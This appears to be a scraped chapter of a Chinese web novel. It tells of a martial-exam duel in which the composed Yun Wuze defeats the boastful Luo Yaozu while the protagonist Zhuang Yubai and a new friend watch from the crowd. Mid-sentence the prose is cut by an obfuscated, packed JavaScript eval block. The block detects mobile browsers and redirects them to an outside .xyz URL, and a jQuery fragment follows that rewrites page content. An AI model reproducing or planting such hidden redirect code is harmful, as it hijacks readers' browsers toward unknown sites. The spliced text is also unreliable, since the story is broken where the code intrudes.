武举台下挤满看客。
一则能进到府城武举比试的自然有些真本事,这不比街上杂耍热闹,确实值得看。二则参加比试之人,往往都会现场散些果子银钱什么的,讨几声好,也图个好彩头。
果然台下几个骆家家丁正在那拎着袋子发东西,红色彩纸包成的吉祥福袋。庄聿白和牛大有也被塞了两个,打开是两枚大钱、一枚荷花酥。
那家丁笑着往台上指指:“右手边这位一表人才的,正是我家二公子,劳烦小郎君叫声好。”
这属于公开拉票么?虽说啦啦队的票不算数,但胜在有气势,有排面。
确实这一轮散财大法之后,台下“骆二公子威武!”“骆二公子必胜!”此起彼伏。
庄聿白不知道这散钱果的规矩,现在就有些后悔没准备。如同陪考的家长,别人都穿高开衩的旗袍等在考场外,而且衩一个比一个高,寓意“旗开得胜”。一身运动装束的你,自然会焦虑,唯恐因为自己准备不到位而耽误了考场上的孩子。
庄聿白又打开一枚骆家福袋,该说不说,这荷花酥味道还不错。怀中揣了太多,他将要装不下的塞给一旁的牛大有:“大有哥,你也吃!”
“吉祥福袋里装荷花酥,能不输么?”和话一起递过来的,是一枚月白色福袋,杏黄色流苏细绳扎口。
庄聿白抬手接过,却见一明丽少年站在面前,通身衣服得体不招摇,但头上勒着的那条抹额,一看便知是个有钱人家的公子哥儿。
“兄台,这是茯苓糕,招招高,给对面这位……这位,”少年眉间迟疑,转头问过身后小厮,“给对面这位‘云无择’叫好。”
“你认识云无择?”庄聿白没听说云无择安排了福袋发放。
“我和他……是本家!”少年笑得眼睛弯弯,“福袋拿好,等会记得帮忙喊号子助威!”
“小祖宗,你果真在这里。”人群中挤来一个年岁大的家丁,一把抓住那少年,连哄带骗,“大公子怎么交代的,骆家在的地方,我们躲远点!大公子若是知道你今天跑来给骆家对家当众叫好,小心他告到学中让先生罚你!快跟我回去!”
“你不说,我大哥又怎么会知道!就说我此刻跟大嫂学理账呢。”少年将手上福袋一股脑塞给老家丁,撒娇说,“好了啦,快帮着发福袋!早点发完,咱早点回去!”
那老家丁连连摇头,又拿他家这位小祖宗没办法。少年见庄聿白与自己年纪相仿,又有眼缘,直接凑到对方跟前。
“你和云无择是本家?”庄聿白问。
“常言道,敌人的对家就是本家。我自来看不上这骆二。所以能让骆二不爽的事,我就爽!”那少年说得坦荡又赤诚,“怎么,你认识这位云姓公子?”
“既如此,你我也算本家。”无以为赠,庄聿白递了块荷花酥给对方,哪怕短暂的利益重合,此时此刻就是朋友,“人讨厌,但果子没有罪。我今日借花献佛,你尝尝这荷花酥,味道不错的。”
“是不错。”那少年也是个不拘小节的,接过来就吃了,又说,“对面骆家光是教习师父就请了一排。看到了么,骆家打点过,台下特意留了第一排好位置坐着。方便随时给台上那骆二调整战术。你们这位兄弟功夫如何,打得过么?”
不等庄聿白回答,少年胳膊怼怼他:“先不说功夫,你家这位云什么公子,长得真是玉树临风、风流倜傥呐。再瞧对面骆家那位……切,哪来的胖头鱼!”
云无择身上有云鹤年的清冷矜贵之气,还有一股似乎来自沙场的冷厉之风,往台上一站,宛如谪仙持剑,仪态万千。
庄聿白正要在人群中寻长庚师父,忽觉衣摆被什么扯住,正用力往下拽。他低头一看。
“应龙!”
庄聿白猜应该是长庚师父担心比试开始后有什么情况,就把应龙交给他们来照看。
庄聿白不是不喜欢小动物,可这是只大动物。而且此前彼此还有过一些嫌隙,当初刚穿越来时,路过云家附近,还以为它是只大黑豹,把自己吓个半死。
可家长放心把孩子交到自己手上,作为临时监护人,自己怎么都得表示下友好。庄聿白学着平时们孟知彰跟它互动的模样,伸出手,僵硬地摸了摸应龙的脑袋。圆圆的,顶着厚实又顺滑的黑色绸缎皮毛。
应龙看到庄聿白发现自己,方松了口,乖乖蹲坐在庄聿白脚边。尾巴友好地摇了两下忙又收起来,担心别人不小心踩到它。
“这是云公子的战犬。”庄聿白给新朋友介绍这位老朋友。
新朋友递了块茯苓糕给老朋友,老朋友看了眼监护人,得到认可后咬住吃了。三方都很欢喜。
“咚咚咚——”台上鼓声起。
台下喊声更烈,呼声震天。“骆公子必胜!”“云公子雄起!”“骆公子威武!”“云公子天助!”一时倒也难辨哪方支持者多。
台上比试两人站定两端。主考官正襟危坐,着皂吏检查二人所携兵器,无误后宣读比武规则,五局三胜,明令点到为止,若一方伤残,双方皆失去接下来比试资格。
微风轻拂,迎着澄明旭光,云无择抬手抱拳,朝对面之人行了一礼。
对面之人则双腿叉立在台上,鼻孔朝天,满是蔑视和傲慢。台下他那一排师父中有人咳了一声,他方不情不愿简单抬抬手,算是行过了礼。
骆耀祖手中是一把通体乌黑的长剑,剑刃出鞘,日头下发着冷光,令人不寒而栗。一看便知是一把难得的好剑。
云无择用的则是家中后山上三年龄湘妃竹做的一把竹剑。
皂吏战旗一挥,全场屏住呼吸。
“啊啊啊——”骆耀祖气势十足,大喊着挥剑朝云无择刺来。
云无择站定在原地,等对方靠近,手腕轻转,剑尖正正点在骆耀祖胸口。骆耀祖还要反抗,却听对方冷冷道:
“不想受伤,就别动。以及按照规则——你已经死了。”
不等骆耀祖分辩什么,皂吏鸣锣。第一回合,结束。
骆耀祖不确定面前此人是功夫好,还是运气好。但他一时不敢轻敌。回头看看那一排师父们,临时抱佛脚,仔细回忆一下最阴损的狠招。眼神凶狠盯着对方,你等着!
黑剑指天动地一番操作,确实乱剑迷人眼,台下的庄聿白狠狠为云无择捏了把汗。
可能是嫌弃骆耀祖大喊着跑过来太过吵闹,云无择选择向前迎了两步,转身间,竹剑已轻轻松松架在对方颈部。
皂吏再次鸣锣。第二回合,结束。
骆耀祖心下急了,忙慌慌跑到台下他那一圈师父当中,好歹虚下了一点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045903|157868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点心,仔细听从师父们的战术指导。
再次登台的骆耀祖信心大增,眼神中是如有神助的自信。这次他学乖了,保存体力等在原处。
或许云无择真的想让对方这张脸在自己面前消失。他脚下生风,凌波微步滑到骆耀祖跟前,不等对方抽剑,竹剑轻划,骆耀祖鬓边一缕头发掉了下来。
“抱歉,你又死了。”
鸣锣又起。第三回合,结束。前后不到一盏茶时间。
云无择收回剑,动作干净利落,留骆耀祖和他那一坨窝窝囊囊的影子原地愣神。
“云兄赢了!云兄赢了!”庄聿白刚要兴奋鼓掌,胳膊却被身旁少年拉住。
“胜负难料。先别高兴太早。”
“不是五局三胜么!那骆耀祖根本没反击机会。我们云兄稳赢三局!全场这么多人看着,总不能混淆黑白、颠倒是非吧。”
“要么说你刚来、对府城不了解呢!骆家,在府城恨不能手眼通天,谁都休想灭过他们骆家的次序去。从文,他们家有大公子骆耀庭,三省书院的骄傲,今年院试榜首非他莫属。从武,目前他家能拿出手的就这骆二,自然要好好运作一番的。我听闻昨天他还要当街强了悦来茶坊的九哥儿呢。简直畜生!”
少年赤诚干净,见不得龌龊事,恨恨在手心砸了一拳,“至于从商,府城半数商铺都受他家荫庇……”
“半数?兄台家也受这骆家荫庇?”
“我呸!荫庇?他也配!”少年忽然意识到还未自报家门,忙说,“对了,我叫薛启辰,你叫什么!”
“我叫庄聿白。”
两人一见如故,还想继续聊些什么,方才那家丁将薛启辰拉走了:“二公子,快回家吧。听说大公子已经听说你来了这里。先想想等会如何交代吧。”
台上主考官将场上两名监督皂吏叫到身边,一番交流后,迈着四方步缓缓走至台中,伸手向下压了压,全场顿时安静。
“本场比试,获胜者长宁州云无择!”
静。
现场一阵死寂,静得让人觉得这个世界都失真了,只剩远处隐隐传来的市井喧闹声。
“哐啷——”那把锃亮的乌金剑狠力掷在台上。
果不其然,台上的骆耀祖闹起来,指着云无择道:“哪来的乡野村夫!敢与本小爷抢风头!你也不掂量掂量自己几斤重!”
云无择置若罔闻,云淡风轻将竹剑收起来背至身后。临风之姿,优雅挺拔,越发衬托出同台之人之不堪。
骆耀祖跺脚大叫:“对,剑!他那剑一定有问题!”
两名皂吏忙向前点头哈腰:“骆公子,检查过的,不过竹剑一把,委实没有任何问题。”
“那就是他人有问题!”骆耀祖台上不依不饶,耍浑更甚,
“比武时他不时冲台下一个和尚点头致意,当我瞎么!竟敢请妖僧现场施法?真是无法无天!那秃驴呢,快去给我抓住!”
台下庄聿白很是生气。他伸手摸了摸应龙的脑袋,在毛茸茸的耳边说了句什么。
应龙耳朵“嗖”地一下立起来,两步窜到台上,瞅准时机,死死咬住台上那口出狂言之人的裤子,用力一拽。
白花花的大腿在太阳下面一照,向来欺行霸市的骆家二世祖,脸面碎了一地。